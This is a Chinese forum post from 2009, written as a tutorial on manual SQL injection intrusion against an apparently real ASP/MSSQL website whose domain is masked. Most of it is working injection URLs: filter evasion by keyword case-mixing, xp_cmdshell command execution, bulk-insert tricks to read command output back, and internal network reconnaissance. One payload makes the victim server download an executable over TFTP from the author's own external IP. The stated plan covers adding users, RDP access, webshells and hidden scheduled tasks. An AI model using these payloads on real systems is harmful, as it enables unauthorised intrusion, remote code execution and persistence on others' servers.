Board logo

标题: 【原创】SQL注入中的错误分析及渗透技术 [打印本页]

作者: 不属于    时间: 2009-11-17 10:22     标题: 【原创】SQL注入中的错误分析及渗透技术

简介:本文主要讲了在SQL注入过程中遇到一些特殊问题时的一些思考及处理思路,其中涉及了一些手工注入的语法及渗透思维,谨以此文献给那些刚刚起步的菜鸟朋友们,我也是刚刚起步,掌握了一些技术,希望将掌握的技术写 ...信息来自:http://www.3ast.com.cn
简介:本文主要讲了在SQL注入过程中遇到一些特殊问题时的一些思考及处理思路,其中涉及了一些手工注入的语法及渗透思维,谨以此文献给那些刚刚起步的菜鸟朋友们,我也是刚刚起步,掌握了一些技术,希望将掌握的技术写出来与大家共享、共同学习、共同提高。信息来自:http://www.3ast.com.cn
   普遍的判断注入的方法相信大家都已经掌握了,无非就是加单引号,加and 1=1 and 1=2之类的。是的这个的确是判断注入的方法,但知道这些对于渗透入侵还是远远不够的。我今天引用的这个例子可以通过这种方法判断为存在注入漏洞,但是用工具却注入不了。我们今天将采用的是手工注入的方法,在注入过程中对随时遇到的错误信息进行分析及判断。黑客
   例子: http://www.*****.com/zhuanti/zt.asp?id=34网络安全
加单引号,返回错误
加and 1=1 返回正常
加and 1=2 返回错误
好了,先用工具注入一下,看结果。
如图1:黑客
   从中可以看出当前连接用户名、库名、权限是SA,比较大。我们在看一下是否可执行命令,打开NBSI的命令工具,列C盘看下,结果显示什么也没有,再列目录看下,结果还是一样,空空如也。黑客
如图2:黑客
   到这里可能绝大多数初学的朋友就要被难住了,难道真的没有办法了吗?有的!!当然有,因为这个注入点过滤了一些关键字,所以用工具就无能为力了,不过转换一下这些关键字的大小写即可成功注入,下面说说手工注入该站的详细步骤。黑客

   入侵思路:既然注入点权限是SA,那么首先考虑的就是执行命令,加用户,3389登录,如果没有3389开放的话,那就试试用命令执行一些上传操作,例如:HTTP上传、FTP上传、TFTP上传等等。上传一些木马程序然后运行。如果不可以执行命令,那么还可以查查WEB主目录,利用差异备份或者LOG备份得到一个WEBSHELL,然后再恢复命令执行,上传木马并运行。黑客

   以上面这个注入点为例,首先怎样判断注入点是否可执行命令。大家都知道工具注入是不行的了,那么手工该如何判断这个注入点是否能执行命令呢?我们可以先建一个表,然后执行一下XP_CMDSHELL存储过程在C盘上建个目录,再用xp_subdirs存储过程读C盘下的子目录进表中,再利用暴表的注入语句将表内容读出,这样我们就知道目录是否创建成功,如果成功说明可执行命令。注入语句如下:信息来自:http://www.3ast.com.cn

(1)http://www.*****.com/zhuanti/zt.asp?id=34;Create table temp(id nvarchAr(255),num1 nvarchAr(255),num2 nvarchAr(255),num3 nvarchAr(255));--黑客
(2)http://www.*****.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell 'md c:cxd'--黑客
(3)http://www.*****.com/zhuanti/zt.asp?id=34;Insert into temp(id) eXec master.dbo.xp_subdirs 'c:';--
(4)http://www.*****.com/zhuanti/zt.asp?id=34 and (Select top 1 id from temp)>0--网络安全
(5)http://www.*****.com/zhuanti/zt.asp?id=34 and (Select id from (Select top 1 * from (Select top 2 * from temp order by 1) T order by 1 desc)S)>0--网络安全
(6)http://www.*****.com/zhuanti/zt.asp?id=34 and (Select id from (Select top 1 * from (Select top x * from temp order by 1) T order by 1 desc)S)>0--

   可是在执行第一条语句是出现了错误,一般正常的注入点执行这个建表命令是不会出错的,但是这个注入点出错了,如图3:黑客
网络安全
提示信息为:数据库中已存在名为temp的对象.
疑问1:难道是这个库中以前就有temp表,那好吧,我们先把以前的表删除.语句如下:
http://www.*****.com/zhuanti/zt.asp?id=34;Drop table temp--信息来自:http://www.3ast.com.cn
可这次又出错了,提示:无法除去,表不存在.这就怪事了,刚才建表是重复建表,出错..现在删表又不存在了?搞得人一头雾水...再试,建个temp1表,提示如故:数据库中已存在名为temp1的对象。网络安全
疑问2:难道是数据库跟我们捉迷藏,我们建哪个表删哪个表,它就事先知道,先我一步把它搞定了?不太可能呀,数据库还达不到这样的智能程度。想来想去,那只有一种可能:那就是我们提交一句注入语句被执行了多次,当第一次执行成功后,后面的再执行当然就会出现重复建表、重复删表的错误了。只是一时还得不到验证。既然建表已经成功,那我们就依次提交第(2)至第(4)条语句,暴出表temp第一条记录ID列的内容:cxd   呵呵,正是我所希望的,c盘上存在一个名为cxd的目录,说明此注入点可执行命令。接着再来暴表temp第二条记录的内容,提交第(5)句,得到内容还是:cxd,再提交:黑客
http://www.*****.com/zhuanti/zt.asp?id=34 and (Select id from (Select top 1 * from (Select top 3 * from temp order by 1) T order by 1 desc)S)>0--
暴第三条记录的内容,还是cxd,接着,继续。。
http://www.*****.com/zhuanti/zt.asp?id=34 and (Select id from (Select top 1 * from (Select top x * from temp order by 1) T order by 1 desc)S)>0--信息来自:http://www.3ast.com.cn
把X 的位置依次换成4 5 6 7 8,换成4时,暴出内容为:cxd 换成5时,暴出内容为:Documents and Settings 呵呵,原来第1至4条记录是相同的,第5至8是相同的。现在终于验证了我当前的推断,同一条语句被执行了4次,导致执行一句插入语句,产生了四条记录。这就是上面建表提示出错的原因,所以任何返回信息只是一种参考信息,它并不一定就是对了,或许会带有一些迷惑性,我们在注入时要分清楚,哪些是真实的返回,哪些是虚假的。

好了,知道这个注入点可执行命令了,下一步当然是用扫描器扫端口了,看是否开3389,扫描结果如下:只开了21 80端口,看来加用户3389登录是没戏了,那就试试TFTP上传吧,注入语句如下:网络安全
http://www.*****.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell 'tftp -i 221.121.125.20 get ps.exe c:ps.exe'--黑客
说明一下:221.121.125.20是我自己电脑的外网IP,tftp -i 221.121.125.20 get ps.exe c:ps.exe是从我的电脑上下载ps.exe保存在它的C盘根目录下。在提交前,先在本机上运行一下tftpd32.exe,这个程序网上有,大家可以自己搜索一下。图形界面的程序,大家一看就会用了,如图4:信息来自:http://www.3ast.com.cn
            黑客
点提交后,TFTPD32的窗口一点反应都没有,如果有机器连接进来并且下载东东的话,TFTPD32窗口会显示对方的IP及下载的文件名,没反应,可能是 MSSQL服务器在内网不能上互联网或者被防火墙拦截了。好了,既然我们有执行命令的权限,那我们怎样进一步判断它的MSSQL数据库是在内网还是外网或者安装了什么杀毒软件,什么防火墙呢?还或者其它一些你所感兴趣的东东呢?[next]黑客
   入侵思路:利用xp_cmdshell存储过程执行一些命令保存结果到磁盘上,然后利用bulk insert语句将这个文件读入表中,然后利用注入语句将表内容暴出来,我们就知道了命令执行的结果了.
(1)http://www.*****.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell 'ipconfig /all c:cxd.txt'--信息来自:http://www.3ast.com.cn
说明一下:利用xp_cmdshell执行命令:ipconfig /all并将结果保存到c:cxd.txt中.
(2)http://www.*****.com/zhuanti/zt.asp?id=34;Create table foo(line varchar(8000))--信息来自:http://www.3ast.com.cn
(3)http://www.*****.com/zhuanti/zt.asp?id=34;bulk iNsert foo from 'c:cxd.txt'--黑客
说明一下:bulk insert将文本文件c:cxd.txt读入表foo中.
(4)http://www.*****.com/zhuanti/zt.asp?id=34 and (sElect top 1 line from foo)>0--网络安全
暴表foo第1条记录内容
(5)http://www.*****.com/zhuanti/zt.asp?id=34 and (sElect line from (sElect top 1 * from (sElect top 5 * from foo order by 1) T order by 1 desc)S)>0--
暴第5条记录内容,也就是c:cxd.txt第二行内容,前面说过了,每隔4条记录为一组.呵呵...
依次类推,把所有内容都暴出来...省略若干.....

结果如图5:网络安全
从中可看出这台机器在内网,
IP地址是:
IP Address. . . . . . . . . . . . : 192.168.0.123
IP Address. . . . . . . . . . . . : 192.168.0.7
网关是:
Default Gateway . . . . . . . . . : 192.168.0.1
内网的机器就比较棘手了。不知道它能不能访问互联网。
我们可以在这台机器上运行一下ping www.tom.com看返回情况,注入语句如下:黑客
(1)http://www.*****.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell 'ping www.tom.com>c:cxd.txt'--
(2)http://www.*****.com/zhuanti/zt.asp?id=34;dElete from foo--   清空表内容网络安全
(3)http://www.*****.com/zhuanti/zt.asp?id=34;bulk iNsert foo from 'c:cxd.txt'--网络安全
(4)http://www.*****.com/zhuanti/zt.asp?id=34 and (sElect line from (sElect top 1 * from (sElect   top X * from foo order by 1) T order by 1 desc)S)>0--网络安全
把X依次换成1 5 9 13 17 21 25 29 。。。。省略N多,暴出内容来,返回如下:
Ping request could not find host www.tom.com. Please check the name and try again.
再试下直接ping IP的方法
(1)http://www.*****.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell 'ping 202.108.12.68>c:cxd.txt'--黑客
(2)http://www.*****.com/zhuanti/zt.asp?id=34;dElete from foo--   清空表内容黑客
(3)http://www.*****.com/zhuanti/zt.asp?id=34;bulk iNsert foo from 'c:cxd.txt'--黑客
(4)http://www.*****.com/zhuanti/zt.asp?id=34 and (sElect line from (sElect top 1 * from (sElect top X * from foo order by 1) T order by 1 desc)S)>0--网络安全
X依次换成1 5 9 13 17 21 25 29 33
返回:Packets: Sent = 4, Received = 0, Lost = 4 (100% loss) 丢包是100%,完全ping不通互联网,看来这台内网的MSSQL服务器是没有连接互联网的,那我们的入侵就到此止了吗?不。。我们还可以进一步进行渗透,也许就能找到些突破口呢!黑客

渗透思路:用xp_cmdshell执行netstat -an查看端口情况,看有没有什么特殊端口开放,执行net start查看一下有没有特殊服务,查一下服务器操作系统版本,写进启动目录下载脚本或者用schtasks建隐藏任务,每隔一定时间执行一些操作。黑客

先看一下端口吧,注入语句:
(1)http://www.*****.com/zhuanti/zt.asp?id=34;drop TABLE D99_CMD;Create TABLE D99_CMD([Data][varchAr](1000),ID int NOT NULL IDENTITY (1,1));Insert D99_CMD eXec master.dbo.xp_Cmdshell 'netstat -an;--网络安全
(2)http://www.*****.com/zhuanti/zt.asp?id=34 And (Select Top 1 chAr(124)%2Bdata%2BchAr(124) From (Select Top x [ID],[Data] From D99_CMD Order by [ID]) T Order by [ID] desc)>0--网络安全
X依次换成1 2 3 4 5 6 7 8 9......就可以暴出它的端口连接情况。其它端口都比较正常,只是有一个端口比较陌生,8389端口。网络安全

如图6: 黑客

和3389只有一字之差,会不会是它开的终端服务呢?打开远程桌面连接,键入IP:8389,成功出现了远程终端的登录界界,呵呵。。。原来远程终端改端口了。网络安全

接着再来执行前面的那个注入语句,看一下服务器连接情况,并没有看到我的IP连接到它的8389端口。说明我连接的IP并不是这台内网机器。唉。。。或许可以直接从网站入手试试上传,进后台什么的?我就不试了,就像ET所说的玩黑考的就是耐心与心机,只要大家认真学,认真体会,就能掌握里面的奥妙,入侵渗透需要掌握方方面面的大量知识,并且还需要大家能够灵活运用,多动手多动脑,本文只是初步涉及,许多不足之处还请大家批评指正。黑客
作者: 冷酷鲨鱼    时间: 2010-4-16 18:03

谢谢分享!
作者: 冷酷鲨鱼    时间: 2010-4-16 18:03

谢谢分享!




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2